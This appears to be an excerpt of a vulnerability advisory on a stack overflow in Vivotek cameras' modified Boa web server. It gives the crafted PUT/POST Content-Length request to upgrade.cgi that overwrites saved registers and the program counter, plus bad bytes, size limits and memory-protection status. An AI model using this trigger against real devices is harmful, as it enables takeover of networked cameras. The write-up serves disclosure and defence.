[Details]

Vivotek using modified version of Boa/0.94.14rc21, and the vulnerability has been introduced by Vivotek.

The stack overflow is triggered by "PUT" or "POST" request:

[PUT|POST] /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n

However,
the absolutely minimal request to trigger the stack overflow is weird, most probably due to quick hack:
"[PUT|POST]Content-Length:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"

This allows us to insert [JUNK] with 'Good bytes' up to 9182 bytes (0x1FFF) of the request:
"[PUT|POST][JUNK]Content-Length[JUNK]:[20 bytes garbage]BBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"

Notes:
1. B to I = $R4-$R11; X = $PC
2. Size of request availible in $R3 at the LDMFD
3. Max request size: 9182 bytes (0x1FFF)
4. "Start with "\n" in "\n\r\n\r\n" needed to jump with 0x00xxxxxx (if not $PC will be 0x0dxxxxxx)
5. Space (0x20) after ':' in 'Content-Length:' counting as one char of the 20 bytes
6. Stack not protected with "Stack canaries"
7. Good bytes: 0x01-0x09, 0x0b-0xff; Bad bytes: 0x00, 0x0a;
8. heap: Non-executable + Non-ASLR
9. stack: Non-executable + ASLR
